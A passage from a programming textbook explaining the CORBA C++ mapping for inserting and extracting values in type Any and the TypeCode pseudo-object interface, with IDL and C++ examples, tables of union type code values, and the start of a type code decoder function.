Insertion and Extraction of Arrays 

The C++ mapping cannot use overloaded operators directly to insert and extract arrays. 
The reason is that C++ has a weak array concept. In particular, when an array is passed as 
an argument to a function, it degenerates into a pointer to the first element. This in turn 
means that arrays that have identical element types, but different dimensions, become 
indistinguishable. For example, suppose the IDL contains 
        
typedef long arr10[10]; 
typedef long arr20[20]; 
 
       
At the C++ level, this generates two array definitions: 
        
typedef CORBA::Long arr10[10]; 
typedef CORBA::Long arr20[20]; 
 
       
This does not cause any problem, but attempts to overload the insertion or extraction 
operator will not compile: 
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void operator<=(CORBA::Any &, const arr10); 
void operator<=(CORBA::Any &, const arr20); // Compile-time error 
 
       
The two signatures become indistinguishable as far as the compiler is concerned because 
the array argument in both cases degenerates to long *. 
 
To get around this, the IDL compiler generates a helper type for each IDL array type. The 
helper type is called array_name_forany. For example, for the preceding two array 
types, the generated code contains the following: 
        
typedef CORBA::Long arr10[10]; 
typedef CORBA::Long arr20[20]; 
 
class arr10_forany { 
public: 
    arr10_forany(const arr10, CORBA::Boolean nocopy =  0); 
    // ... 
}; 
 
class arr20_forany { 
public: 
    arr20_forany(const arr20, CORBA::Boolean nocopy = 0); 
}; 
 
void operator<=(CORBA::Any &, const arr10_forany &); 
void operator<=(CORBA::Any &, const arr20_forany &); 
 
       
Here, the array_name_forany classes serve to provide distinct types so that the 
mapping can overload the insertion operator without ambiguity. 
 
To insert an array, you must construct the appropriate helper type: 
        
CORBA::Any a; 
 
arr10   aten = ...; 
arr20   atwenty = ...; 
 
a <<= arr10_forany(aten);       // Insertion of 10-element array 
a <<= arr20_forany(atwenty);    // Insertion of 20-element array 
 
       
This code works correctly because it explicitly constructs a helper class of the appropriate 
type. 
 
By default, insertion of an array makes a deep copy. To instruct an Any to take 
ownership of the inserted array, you set the nocopy argument of the helper constructor 
to a non-zero value: 
        
CORBA::Any a; 
arr10_slice * aten_p = arr10_alloc();   // Heap-allocate array 
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a <= arr10_forany(aten_p, 1);          // a takes ownership 
 
       
Here, the Any a takes ownership of the passed pointer and deallocates the array with 
arr10_free when it goes out of scope. 
 
As with other helper types for type Any, type safety is weakened and you must be careful 
to use the correct helper type. For example, the following code will result in undefined 
behavior: 
        
CORBA::Any a; 
arr10_slice * aten_p = arr10_alloc();       // Heap-allocate array 
arr20_slice * atwenty_p = arr20_alloc();    // Heap-allocate array 
a <= arr20_forany(aten_p, 1);              // Trouble! 
a <= arr10_forany(atwenty_p, 1);           // Trouble! 
 
       
The problem here is that arr20_forany is called with a 10-element array, and 
arr10_forany is called with a 20-element array. This error is undetectable at compile 
time but can have disastrous consequences, especially for arrays with elements of 
complex type. 
 
Extraction for arrays also uses the array_name_forany helper types. Instead of 
explicitly calling the array_name_forany constructor, you declare a variable of the 
helper type and extract into that variable: 
        
CORBA::Any a; 
arr10 aten = ...; 
a <= arr10_forany(aten);         // Insert array 
arr10_forany ah;                    // Helper variable 
CORBA::Boolean ok = (a >>= ah);     // Extract into helper 
assert(ok);                         // Make sure it worked 
cout < ah[0] < endl;          // Print first element 
 
       
This code directly extracts into a variable of the appropriate helper type. This extraction 
is type-safe, and the extraction operator returns zero if the type code inside the Any does 
not match the helper type. 
 
The array_name_forany helper classes also overload operator[], so you can 
use the helper variable to index into the array instead of having to make a copy first. Note, 
though, that the extracted array is still owned by the Any and must be treated as read-
only. If you want to modify the elements of an extracted array, you must first make a 
copy of the array and modify the copy (use the generated array_name_copy function 
to do this). 

Insertion and Extraction of Object References 

The IDL compiler generates overloaded insertion and extraction operators for each 
interface type, so you can insert and extract object references just as you do with any 
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other user-defined type. Again, you can choose between copying and consuming 
insertion. If you insert a _var or _ptr reference, the Any makes a deep copy (calls 
_duplicate). If you insert the address of a _ptr reference, the Any takes ownership 
and calls release when it goes out of scope: 
        
CORBA::Any a; 
CCS::Thermometer_var tv = ...;  // Get _var reference ... 
a <= tv;                     // Copying insertion 
CCS::Thermometer_ptr tp1 = ...; // Get _ptr reference 
a <= tp1;                    // Copying insertion 
CORBA::release(tp1);            // We still own tp1 
CCS::Thermometer_ptr tp2 = ...; // Get another _ptr reference 
a <= &tp2;               // Consuming insertion 
// a now owns tp2 and will release it. 
 
       
As with other types, consuming insertion is useful for inserting the return value of an 
operation directly into an Any. After you have passed responsibility for releasing a 
reference to an Any, you must not use the inserted _ptr reference again: 
        
CORBA::Any a; 
 
CCS::Thermometer_ptr tp = ...;         // Get a _ptr reference 
a <<= &tp;                       // Consuming insertion 
CCS::TempType t = tp->temperature();   // Non-portable! 
 
       
This code is non-portable because the Any may have made a copy and immediately 
released the original reference tp. 
 
To extract an object reference again, simply use the overloaded extraction operator. Be 
aware, though, that an extracted object reference is not copied. This means that you can 
use the extracted _ptr reference while the Any is still in scope, and you must not release 
the extracted reference: 
        
CORBA::Any a; 
CCS::Thermometer_var tv = ...;  // Get _var reference ... 
a <= tv;                     // Copying insertion 
CCS::Thermometer_ptr tp_ex;     // _ptr reference 
a >>= tp_ex;                    // Extract reference 
// Use tp_ex... 
// No need to release tp_ex here, the Any will do that. 
 
       
As with other types extracted by pointer, never extract a reference directly into a _var 
variable because doing so will cause both the Any and the _var variable to release the 
reference. 

Widening Extraction of References 
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Extraction of object references requires a precise type code match. For example, the 
following extraction will fail: 
        
CORBA::Any a; 
CCS::Thermostat_var tmstat = ...;    // Get a thermostat 
a <<= tmstat;                      // Insert thermostat 
CCS::Thermometer_ptr therm_p;        // Thermometer reference 
CORBA::Boolean = (a >>= therm_p);            // Extraction returns 
false 
assert(ok);                          // Assertion fails 
 
       
This code inserts a thermostat reference and then attempts to extract it as a reference to a 
thermometer, which is a base type. However, it does not work. The extraction operator 
returns zero because the type code inside the Any does not match the type of the 
extracted reference. 
 
If you want to use widening extraction of references from an Any, you must use the 
to_object helper type: 
        
CORBA::Any a; 
 
CCS::Thermostat_var tmstat = ...;       // Get a thermostat 
a <<= tmstat;                         // Insert thermostat 
 
CORBA::Object_var obj; 
a >>= CORBA::Any::to_object(obj);       // Extract as Object 
 
CCS::Thermometer_var therm;             // Thermometer reference 
therm = CCS::Thermometer::_narrow(obj); // Narrow to Thermometer 
 
       
Extraction into the to_object helper type succeeds if the Any contains a reference of 
any type. The extracted reference is always of type Object. In addition, you must 
release references extracted with to_object. The preceding code does this by 
extracting directly into a _var reference. Note that memory management for 
to_object differs from that of non-widening extraction, in which the Any retains 
ownership of the extracted reference.[4]  

[4] The memory management rules for Any were changed with CORBA 2.3. For CORBA 2.2 
(and earlier) ORBs, the Any retains ownership of the extracted reference. This means that you 
must not release the extracted reference for CORBA 2.2 and earlier. 

After you have extracted a reference as type Object from an Any, you must call the 
appropriate _narrow function to down-cast the reference to the required type as usual. 

15.3.9 Inserting and Extracting Any 

The value inside an Any can itself be an Any. For example: 
       
CORBA::Any outer; 
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CORBA::Any inner; 
inner <<= (CORBA::Long)5;   // Insert 5 into inner 
outer <<= inner;            // Insert inner into outer 
 
      
There is nothing special about inserting an Any into another Any. The type code of the 
outer Any simply indicates that the type of the value is Any. 
Extraction of type Any values is by read-only pointer as with user-defined types: 
       
CORBA::Any outer; 
CORBA::Any inner; 
inner <<= (CORBA::Long)5;       // Insert 5 into inner 
outer <<= inner;                // Insert inner into outer 
CORBA::Any * extracted; 
outer >>= extracted;              // Extract any by pointer 
 
CORBA::Long long_val; 
*extracted >>= long_val;          // Extract from extracted any 
assert (long_val == 5);           // Check value 
// The Any `outer' still owns the memory pointed to by `extracted' 
 
      
As with all types extracted by pointer, the extracted pointer points at memory owned by 
the Any, so you must not deallocate the pointer. 
As with other user-defined types, consuming insertion of an Any is possible by inserting 
a pointer: 
       
CORBA::Any outer; 
CORBA::Any * inner_p = new CORBA::Any;   // Create an any 
*inner_p <<= (CORBA::Long)5;           // Insert 5 into inner 
outer <<= inner_p;                     // Insert inner into outer 
// outer will deallocate inner_p. 
 
      

15.3.10 Inserting and Extracting Exceptions 

An Any is capable of storing an exception. This may come as a surprise to you because, 
as we mention in Section 4.9, exceptions are not permissible as member types or 
parameter types. The mapping permits exceptions to be placed into Any values because 
the Dynamic Skeleton Interface (DSI) requires servers to raise exceptions by inserting 
them into an Any. 
 
We strongly discourage you from using type Any to transmit exceptions as if they were 
parameters. Although this practice is technically legal, it is bad style because operation 
parameters were never intended for exception passing (exceptions are error indicators and 
not data). 
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The IDL compiler generates a separate overloaded <<= operator for every system and 
user exception, so you can insert an exception just as you insert any other data type. Both 
copying and consuming insertion is provided: 
       
CORBA::Any a; 
CORBA::BAD_PARAM        bp;      // Exception on the stack 
CORBA::PERSIST_STORE *  ps_p;    // Pointer to exception 
a <= bp;                      // Copying insertion 
ps_p = new CORBA::PERSIST_STORE; // Exception on the heap 
a <= ps_p;                    // Consuming insertion 
 
      
As with other complex data types, extraction from an Any is by pointer: 
       
CORBA::Any a; 
CORBA::BAD_PARAM bp; 
a <= bp;                       // Insert exception 
CORBA::BAD_PARAM * ep; 
a >>= ep;                         // Extract it again 
 
      
The usual rules for data extracted by pointer apply: you must treat the extracted pointer as 
read-only, and the Any retains ownership of the exception. 
You can also insert exceptions generically as the CORBA::Exception base type: 
       
try { 
    // ... 
} 
catch (const CORBA::Exception & e) { 
    CORBA::Any a; 
    a <= e;                    // Insert caught exception 
} 
 
      
If you insert an exception as the base type CORBA::Exception, the actual type of the 
exception is preserved by the Any's type code. For example, if the actual type of the 
inserted exception is CORBA::BAD_PARAM, you can later extract it as that type. 
(Generic insertion of exceptions is provided by the C++ mapping to support servers using 
the DSI.) Note that you cannot extract an exception as a base type, such as 
CORBA::Exception, because it does not make sense: CORBA::Exception is an 
abstract base class that cannot be instantiated. 

15.4 Pitfalls in Type Definitions 

The C++ mapping currently does not allow you to control the precise type code if an IDL 
definition contains type definitions. For example, the climate control system contains the 
following type definitions: 
      
module CCS { 
    typedef string          ModelType; 
    typedef string          LocType; 
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    // ... 
}; 
 
     
Now consider the following C++ code fragment, which inserts model and location strings 
into an Any: 
      
CCS::ModelType model = "BFG9000"; 
CCS::LocType location = "Room 414"; 
 
CORBA::Any model_any; 
CORBA::Any location_any; 
 
model_any <<= model;                // Insert model 
location_any <<= location;          // Insert location 
 
if (model_any >>= location)           // Succeeds! 
    // ... 
if (location_any >>= model)           // Succeeds! 
    // ... 
 
     
The problem here is that we can successfully extract a model string as a location and 
extract a location string as a model. This happens because the C++ mapping maps both 
ModelType and LocationType to char *. Model and location strings are therefore 
both inserted by the same single overloaded operator. (It must be this way because C++ 
does not permit overloading on types that are typedefs to the same underlying type.) The 
Any into which we insert the strings therefore contains a type code that indicates "string" 
and contains no information as to whether the inserted string originally was a model or a 
location. 
 
You can insert values into an Any so that aliases are preserved if you use the DynAny 
interface. It is also possible to distinguish whether an Any contains a ModelType or a 
LocationType during extraction. We show an example of how to do this in Section 
16.7. 

15.5 Summary 

Type any permits type-safe insertion and extraction of arbitrary types. Using type any 
lets you create generic interfaces with operations that permit arbitrary types to be passed. 
In addition, you can use type any to simulate variable-length parameter lists for 
operations. A major use of type any is in the OMG Event Service, which we discuss in 
Chapter 20. 
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Chapter 16. Type Codes 

16.1 Chapter Overview 

This chapter explains the internals of type codes, which are used to carry runtime 
descriptions of types. Section 16.3 presents the IDL interface for the TypeCode 
pseudo-object and shows how a type code encodes the details of the IDL type it describes. 
Section 16.4 explains the C++ mapping for type codes and presents the source code 
for a decoder that can recursively examine how an IDL type is composed from basic 
types. Section 16.5 discusses issues related to type code comparison and explains 
what it means for two types to be the same. Section 16.6 shows how the C++ mapping 
presents type codes for built-in and user-defined types as constants, and Section 16.7 
shows how you can preserve aliasing information of values inside an Any. Section 
16.8 covers how type codes are constructed dynamically at run time without compile-
time knowledge of the actual IDL types involved. 
 
Much of the information in this chapter may be of only peripheral interest unless you are 
building an application that must deal with IDL types that are unknown at compile time. 
For such applications, type codes are essential and form the basis of many of CORBA's 
dynamic aspects. If you have no immediate interest in such dynamic applications, we 
suggest you skim Section 16.3 and use this chapter as reference material as the need 
arises. 

16.2 Introduction 

As we mention in Section 15.2, a type code is a value that describes an IDL type. For 
example, if we insert a string into an Any value, the Any's type code effectively says, 
"The value in this Any is of type string." Type codes are important for the dynamic 
aspects of CORBA, such as type any, the DII, and the DSI. Type codes ensure that type 
mismatches are detected at run time and so preserve the type safety of CORBA. 
 
Apart from their type-safety aspects, type codes also provide introspection. Given an 
Any containing a value of unknown type, you can extract the type code from the Any 
and interrogate it to determine the type of value that is stored in the Any. This 
introspection capability is essential for programs that require dynamic typing. For 
example, the OMG Notification Service [26] requires introspection to determine the 
distribution of events to consumers based on the contents of values of type any. 

16.3 The TypeCode Pseudo-Object 

Type codes are values that are manipulated via a TypeCode pseudo-interface. 
Conceptually, a TypeCode value is a pair of values, as shown in Figure 16.1. The 
TCKind member of a TypeCode is an enumeration that records the kind of type that is 
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described by the type code. For example, if the type code describes a structure, the 
TCKind member has the value tk_struct, and if the type code describes a string, the 
TCKind member has the value tk_string. 

Figure 16.1 Structure of a TypeCode pseudo-object. 

 
The contents of the description of the type code depend on the value of TCKind. For 
example, if the type code describes a structure, the description contains the name of the 
structure and the name and type of each member of the structure. If the type code 
describes a string, the description contains the value of the bound of the string (if any—a 
value of zero indicates an unbounded string). 
 
Type codes are pseudo-objects that must be manipulated via an IDL interface. An IDL 
interface is necessary because the internal structure of the description inside a type code 
is complex and cannot easily be manipulated as a bare, unencapsulated value. The 
TypeCode interface appears in the CORBA module: 
      
module CORBA {  
 // ...  
 
 enum TCKind {  
   tk_null, tk_void, tk_short, tk_long, tk_ushort, tk_ulong,  
   tk_float, tk_double, tk_boolean, tk_char, tk_octet,  
   tk_any, tk_TypeCode, tk_Principal, tk_objref, tk_struct,  
   tk_union, tk_enum, tk_string, tk_sequence, tk_array,  
   tk_alias, tk_except, tk_longlong, tk_ulonglong,  
   tk_longdouble, tk_wchar, tk_wstring, tk_fixed  
 };  
 
 interface TypeCode {   // PIDL  
    exception Bounds {};  
    exception BadKind {};  
 
    // Operations for all kinds of type codes  
    TCKind         kind();  
    boolean       equal(in TypeCode tc);  
    boolean       equivalent(in TypeCode tc); // CORBA 2.3  
    TypeCode       get_compact_typecode();     // CORBA 2.3  
 
    // For tk_objref, tk_struct, tk_union, tk_enum,  
    // tk_alias, and tk_except  
    RepositoryId     id() raises(BadKind);  
    Identifier  name() raises(BadKind);  
 
    // For tk_struct, tk_union, tk_enum, and tk_except  
    unsigned long  member_count() raises(BadKind);  
    Identifier   member_name(in unsigned long index)  
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                      raises(BadKind, Bounds);  
 
    // For tk_struct, tk_union, and tk_except  
    TypeCode      member_type(in unsigned long index)  
                 raises(BadKind, Bounds); 
 
    // For tk_union  
    any         member_label(in unsigned long index)  
                raises(BadKind, Bounds); 
    TypeCode        discriminator_type() raises(BadKind);  
    long            default_index() raises(BadKind);  
 
    // For tk_string, tk_sequence, and tk_array  
    unsigned long     length() raises(BadKind);  
 
    // For tk_sequence, tk_array, and tk_alias  
    TypeCode       content_type() raises(BadKind);  
 
    // For tk_fixed  
    unsigned short fixed_digits() raises(BadKind);  
    unsigned short fixed_scale() raises(BadKind);  
   }; 
  // ... 
}; 
 
     
This looks a little intimidating, so we discuss these operations with the TCKind values 
they apply to. (In Section 16.4 we also show examples in C++ of how to use type 
codes.) 

16.3.1 Types and Operations Applicable to All Type Codes 

Depending on the actual type described by a type code, different operations can be 
invoked to access the details of the type. The kind, equal, and equivalent 
operations apply to all type codes regardless of the type they describe. 

kind 

The kind operation returns the TCKind value of a type code. The return value describes 
what kind of type (such as a structure, a union, or a simple type) is described by the type 
code. The TCKind value also determines which other operations on the type code you 
can call to extract more details. 

equal 

The equal operation allows you to compare two type codes for equality. If two type 
codes describe exactly the same type, equal returns true. In Section 16.5 we return 
to what it means for two type codes to be exactly equal. 

equivalent 
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The equivalent operation (added with CORBA 2.3) also compares two type codes for 
equality, but it ignores aliases. We explain the semantics of type code equivalence in 
Section 16.5. 

get_compact_typecode 

The get_compact_typecode operation (added with CORBA 2.3) returns a type 
code that has empty strings for type and member names (repository IDs and alias chains 
are preserved). We discuss its purpose in Section 16.5.6. 

TCKind 

The TCKind enumeration lists all possible IDL types. For example, a type code with a 
TCKind of tk_double describes the IDL type double, and a type code with a 
TCKind of tk_array describes an array. Most of the TCKind values have the obvious 
meaning, but there are a few values that deserve further explanation. 
tk_null 
tk_null indicates that a type code does not describe anything. The value is useful 
mainly to indicate a "not there" condition. For example, if you default-construct an Any 
value, the Any's type code TCKind is set to tk_null. 
tk_void 
tk_void indicates the IDL void type. Of course, an IDL value can never have type 
void, so a type code with tk_void can never appear as part of an any. However, type 
codes are also used by the Interface Repository, for which tk_void describes 
operations that do not return values. 
tk_any 
Because an any can contain another any, there must be a type code that describes type 
any. 
tk_TypeCode 
Type codes are themselves values that can be inserted into an any. It follows that there 
must be a type code that describes a type code. 
tk_Principal 
This TCKind value was part of the now deprecated BOA specification. For ORBs that 
provide a POA, it has no use. (The enumerator was left in the specification for reasons of 
backward compatibility.) 
tk_alias 
Type codes with a TCKind of tk_alias describe type definitions, such as 
        
typedef string<4>   ShortString; 
 
       
This type code is used by the Interface Repository. 

16.3.2 Type Code Parameters 
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The description inside a type code varies with the TCKind value. For example, if 
TCKind is tk_short, the description is empty, because there is nothing else to say 
about the type. On the other hand, if TCKind is tk_struct, then there are quite a few 
details in the description, such as the name of the structure and the name and type of each 
structure member. 
 
If a type code has a description, the description is composed of one or more parameters; 
each parameter describes a particular aspect of the type code. For example, a type code 
describing a bounded string has one parameter that provides the value of the bound. 
Table 16.1 shows which parameters are present in a type code depending on the 
TCKind value. (Those TCKind values that do not appear in the table have an empty 
parameter list.) 

Table 16.1.. Type code parameters (repeating groups are enclosed in {}). 
TCKind Parameters 

tk_fixed Digits, scale 
tk_objref Repository ID, interface name[a]  

tk_struct Structure name,[a] { member name,[a] member type code }., 
repository ID[a]  

tk_union Union name,[a] discriminator type code, { label value, member name,[a] 
member type code }., repository ID [a] 

tk_enum Enum name,[a] { enumerator name [a] }., repository ID[a] 
tk_string Bound 
tk_wstring Bound 
tk_sequence Element type code, bound 
tk_array Element type code, dimension 
tk_alias Alias name,[a] aliased type code, repository ID [a] 

tk_except Exception name,[a] { member name,[a] member type code }., 
repository ID 

[a] Optional parameter (empty string if not present). 

[a] Optional parameter in CORBA 2.2 and earlier (empty string if not present), mandatory in 
CORBA 2.3. 

Some type codes, such as tk_objref, have a fixed number of parameters. Others, such 
as tk_struct, have a variable number of parameters depending on the number of 
structure members. Note that curly braces denote repeating groups of parameters. For 
example, each structure member is described as a pair of parameters; one parameter 
provides the member's name, and the other parameter provides the member's type code. 
 
A number of parameters in Table 16.1 are marked as optional (all optional parameters 
contain string values). For these parameters, the empty string is a legal value. We discuss 
the ramifications of empty parameters in Section 16.5. 
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The sections that follow describe the type code operations for the TCKind values listed in 
Table 16.1. Depending on the TCKind value, different operations are used to read the 
parameter values of a type code. 

Type Code Parameters for Fixed-Point Types 

If a type code has a TCKind value of tk_fixed, the fixed_digits and 
fixed_scale operations return the digits and scale, respectively, of the fixed-point 
type. 
If you invoke these operations on a type code whose TCKind is not tk_fixed, the 
ORB raises a BadKind exception. The same behavior applies to all other operations on 
the TypeCode interface. If you invoke an operation that does not apply for the current 
TCKind value, the operation raises BadKind. 

Type Code Parameters for Object References 

If a type code has a TCKind value of tk_objref, the id operation returns the 
repository ID of the reference (such as "IDL:acme.com/CCS/Controller:1.0"). 
The name operation returns the unqualified name of the corresponding interface. For 
example, for our controller interface, the returned name is "Controller" and not 
"CCS::Controller". 

Type Code Parameters for Structures 

The description of a structure consists of a parameter for the structure's name, a 
parameter for the structure's repository ID, and a pair of parameters for each structure 
member; each of these pairs provides the name and the type code of the corresponding 
member. 
 
The structure name and repository ID are returned by the name and id operations. The 
member_count operation returns the number of members of the structure. For example, 
consider this structure: 
        
struct BtData {  
   TempType   requested;  
   TempType   min_permitted;  
   TempType   max_permitted;  
   string  error_msg;  
}; 
 
       
Here, member_count returns the value 4. 
The value returned by member_count allows you to retrieve the details for each 
member via the member_name and member_type operations. Members are indexed 0 
to member_count - 1. Member indexes follow the order of definition in the IDL, so for 
this example, member_name(0) returns "requested", member_name(1) returns 
"min_permitted", and so on. 
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The member_type operation returns the type code that describes the corresponding 
member. For example, member_type(1) returns a type code with a TCKind of 
tk_alias because the type of the min_permitted member is itself a type definition. 
Both member_name and member_type raise a TypeCode::Bounds exception if 
the passed index is larger than member_count - 1. The same behavior applies if these 
member functions are invoked with an out-of-range index for a union or an exception 
type code. 

Type Code Parameters for Unions 

As with structures, you can use the name, id, member_count, member_name, and 
member_type operations to retrieve the details of each individual union member. 
In addition, union type codes provide operations to retrieve the discriminator type, to 
retrieve the label value for each union member, and to identify the default member (if any) 
of a union. 
 
The default_index operation returns the index of the default member of a union. If a 
union does not have a default member, default_index returns -1. 
 
The discriminator_type operation returns the type code that describes the 
discriminator of the union. 
 
The member_label returns an any value that contains the value of the union case 
label for the specified member. 
Consider the following union: 
        
union MyUnion switch (long) { 
case 7: 
    string  s_mem; 
case 89: 
    char    c_mem;  
default:  
    double  d_mem;  
}; 
 
       

Table 16.2 shows the values returned by the various operations (assuming this union is 
defined at global scope). 
 
For CORBA 2.3 and later versions, members appear in the same order as in the IDL 
definition, whereas in earlier versions, members can appear in any order. If a union has a 
default member, member_label returns the default member's label value as an any 
containing an octet with value zero. (Because octet is not a legal discriminator type, a 
label containing an octet is used as a dummy value to indicate the default label.) If you 
pass an out-of-range index to member_label (an index greater than or equal to 
member_count), the operation raises the TypeCode::Bounds exception. 
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Table 16.2.. Type code operation return values for a union of type MyUnion. 
Operation Return Value 

name MyUnion 
id IDL:MyUnion:1.0 
member_count 3 
member_name(0) s_mem 
member_name(1) c_mem 
member_name(2) d_mem 
member_type(0) Type code for string 
member_type(1) Type code for char 
member_type(2) Type code for double 
default_index 2 
discriminator_type Type code for long 
member_label(0) any containing the long value 7 
member_label(1) any containing the long value 89 
member_label(2) any containing the octet value 0 
 
If a union has multiple case labels for a single member, the member_count operation 
counts case labels instead of members. Consider the following example: 
        
union Multiple switch (long) {  
case 3:  
case 7:  
    char    c_mem;  
case 78:  
    double  d_mem;  
}; 
 
       

Table 16.3 shows the values returned by the type code operations for this union. Again, 
we assume that the union is defined at global scope and that the order of member 
declarations is not necessarily preserved. Even though the union has only two members, 
member_count returns 3, and both member_name(0) and 
member_name(1) return the same string: "c_mem". 
 

Table 16.3.. Type code operation return values for a union of type Multiple. 
Operation Return Value 

name Multiple 
id IDL:Multiple:1.0 
member_count 3 
member_name(0) c_mem 
member_name(1) c_mem 
member_name(2) d_mem 
member_type(0) Type code for char 
member_type(1) Type code for char 
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member_type(2) Type code for double 
default_index -1 
discriminator_type Type code for long 
member_label(0) any containing the long value 3 
member_label(1) any containing the long value 7 
member_label(2) any containing the long value 78 

Type Code Parameters for Enumerations 

For type codes describing enumerations, the name and id operations return the name 
and the repository ID of the enumeration, respectively. The member_count operation 
returns the number of enumerators, and the member_name operation returns the name 
of each enumerator. The indexes for enumerators are in the same order as in the IDL 
definition, so member_name(0) refers to the first enumerator, member_name(1) 
refers to the second enumerator, and so on. An out-of-range index for member_name 
raises a TypeCode::Bounds exception. 

Type Code Parameters for Strings and Wide Strings 

Strings and wide strings have only a single parameter, which specifies the value of the 
bound (if any). The length operation returns the value of the bound for a type code 
with a TCKind value of tk_string or tk_wstring. A value of zero indicates that 
the string or wide string is unbounded. 

Type Code Parameters for Sequences 

Type codes for sequences have two parameters: one to indicate the element type and one 
to indicate the bound (if any). The content_type operation returns the type code 
describing the element type, and the length operation returns the bound of the sequence 
(zero length indicates that the sequence is unbounded). 

Type Code Parameters for Arrays 

Type codes for arrays, like type codes for sequences, have two parameters, which 
indicate the element type and the dimension of the array. The content_type operation 
returns the type code describing the element type, and the length operation returns the 
dimension of the array (which is always non-zero). 

Type Code Parameters for Aliases 

A type code describing an alias (typedef) contains three parameters, which indicate the 
name of the aliased type, its type code, and its repository ID. The name operation returns 
the unqualified name of the type, the content_type operation returns the type code of 
the aliased type, and the id operation returns the repository ID. 
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Type Code Parameters for Exceptions 

Type codes for exceptions have the same parameters as type codes for structures. The 
exception name and repository ID are returned by the name and id operations. 
The member_count operation returns the number of members of the exception, and the 
member_name and member_type operations return the name and type code of each 
exception member. 

16.3.3 Type Codes As Values 

In Section 7.7 we mention that pseudo-objects cannot be sent as parameters to IDL 
operations because pseudo-objects are typically implemented as library code and cannot 
be accessed remotely. The TypeCode pseudo-object is the only exception to this rule. It 
is legal to send a type code as a parameter to an IDL operation. For example: 
       
#include <orb.idl> 
 
interface TypeStore { 
   exception DuplicateName {};  
   exception NoSuchType {};  
 
   void       add(in string name, in CORBA::TypeCode tc)  
              raises(DuplicateName);  
    CORBA::TypeCode get(in string name) raises(NoSuchType);  
    void    remove(in string name) raises(NoSuchType);  
}; 
 
      
The TypeStore interface maintains a table of pairs, with each pair consisting of a name 
and a type code. The operations allow the client to add, remove, and retrieve type codes. 
The TypeStore interface is fictitious; we use it here simply to illustrate that type codes 
are values that can be marshaled over the wire. Note that we include orb.idl in this 
specification. This is necessary because orb. idl contains definitions in the CORBA 
module, including the definition for the Type-Code interface. 
 
CORBA intrinsically relies on the ability to marshal type codes—for example, for the 
transmission of any values (which contain type codes). The Interface Repository, which 
contains type descriptions that can be read at run time, also relies on the ability to 
marshal type codes as values. A number of other CORBA services, such as the Trading 
Service (see Chapter 19), also use type codes. For now, keep in mind that type codes 
are the only pseudo-object type that can be sent over the wire. 

16.4 C++ Mapping for the TypeCode Pseudo-Object 

Here is the C++ mapping for the TypeCode interface: 
      
namespace CORBA { 
    // ... 
    enum TCKind { tk_null, tk_void, tk_short /* , ... */ }; 
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    class TypeCode {  
    public: 
        class Bounds : public UserException { /* ...*/ };  
        class BadKind : public UserException { /* .. */ };  
 
        TCKind          kind() const;  
        Boolean         equal(TypeCode_ptr tc) const; 
        Boolean         equivalent(TypeCode_ptr tc) const;  
        TypeCode_ptr    get_compact_typecode() const;  
 
        const char *    name() const;  
        const char *    id() const;  
 
        ULong           member_count() const; 
        const char *    member_name() const; 
        TypeCode_ptr    member_type(ULong index) const;  
 
        Any *           member_label(ULong index) const;  
        TypeCode_ptr    discriminator_type() const;  
        Long            default_index() const; 
 
        ULong           length() const;  
 
        TypeCode_ptr    content_type() const; 
 
        UShort          fixed_digits() const; 
        UShort          fixed_scale() const; 
    }; 
    // ... 
} 
 
     
Note that TypeCode is a pseudo-object. Pseudo-objects can have a C++ mapping that 
deviates from the normal rules. In the case of the TypeCode class, strings are returned 
as const char * instead of as char *. This means that you must not deallocate the 
result of the name, id, and member_name functions; the returned pointer points at 
memory internal to the TypeCode instance. 
 
The special-purpose mappings that are permissible for pseudo-objects were initially 
introduced to make the use of pseudo-objects easier. The idea was that if an object is 
known to be implemented in a library, the normal memory management rules can be 
relaxed to gain some efficiency and to relieve the programmer of the burden of having to 
remember to deallocate variable-length values. 
 
Unfortunately, exceptions to the normal mapping rules end up making life harder instead 
of easier because for all operations on pseudo-objects, you must remember whether 
exceptions apply to each operation. After it was realized how much confusion such 
exceptions created, the OMG imposed a blanket ban on pseudo-objects and introduced 
locality-constrained objects in their place (see page 435). Locality-constrained objects are 
like pseudo-objects in that they are implemented in libraries, but locality-constrained 
objects must follow the standard mapping rules. Unfortunately, for backward 
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compatibility, we are stuck with a few pseudo-objects, such as TypeCode, that have 
exceptions to the normal memory management rules. 
 
Given the TypeCode mapping, we can use the type code contained in an Any value to 
recursively analyze the type of the value inside the Any. The show_TC function that 
follows illustrates how to do this. We can call show_TC as follows: 
      
CCS::Thermostat::BtData btd; 
CORBA::Any a;  
a < <= btd;           // Insert BtData value into Any a  
 
CORBA::TypeCode_var tc;  
tc = a.type();              // Get type code from Any a  
show_TC(tc);             // Print type code contents  
 
     
This code produces the following output: 
      
struct BtData (IDL:acme.com/CCS/Thermostat/BtData:1.0):  
    requested:  
        typedef TempType (IDL:acme.com/CCS/TempType:1.0):  
            short  
    min_permitted:  
        typedef TempType (IDL:acme.com/CCS/TempType:1.0): 
            short 
    max_permitted:  
        typedef TempType (IDL:acme.com/CCS/TempType:1.0): 
            short 
    error_msg:  
        string  
 
     

This output matches the IDL definition of BtData from Section 5.3.2: 
      
#pragma prefix "acme.com"  
module CCS {  
  // ...  
  typedef short    TempType;  
  // ... 
  interface Thermostat : Thermometer {  
     struct BtData {  
        TempType   requested;  
        TempType   min_permitted;  
        TempType   max_permitted;  
        string     error_msg;  
     };  
     // ... 
   }; 
   // ... 
}; 
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The show_TC function is easy to write. To make the output more readable, show_TC 
indents the output according to the current level of nesting. The indent helper function 
prints the appropriate number of spaces at the beginning of a line: 
      
//  
// Indent to the current level.  
// 
 
const int INDENT = 4;  
 
void  
indent(int indent_lvl)  
{  
    for (int i = 0; i <INDENT * indent_lvl; i++) 
 
        cout.put(' ');  
}  
 
     
show_TC is a simple function: for each possible TCKind value, it prints the parameters 
shown in Table 16.1. A little complexity arises because we must take care not to get 
trapped in an infinite loop for recursive structures and unions and must take care to show 
union label values correctly. 
 
To prevent getting trapped in an infinite recursion, show_TC is overloaded as an outer 
and an inner version. The outer version is a wrapper function that initializes a list of type 
codes and then calls the inner version to do the actual work: 
      
//  
// Show the contents of a type code.  
// 
 
void  
show_TC(CORBA::TypeCode_ptr tcp) 
 
{  
    list<CORBA::TypeCode_var> tlist;  
    show_TC(tcp, tlist, 0);  
}  
 
     
The tlist variable is an STL list of type codes seen so far. The outer version of 
show_TC initializes tlist to an empty list and then calls the inner version of 
show_TC. The inner version of show_TC accepts the type code to be printed, the list of 
type codes seen so far, and the current indent level (set to zero on the first call and passed 
to indent). 
 
The inner version of show_TC takes different actions for different type codes. Here is 
the first part of the source code: 
      
//  
// Show the contents of a type code. 'tcp' is the type code to  
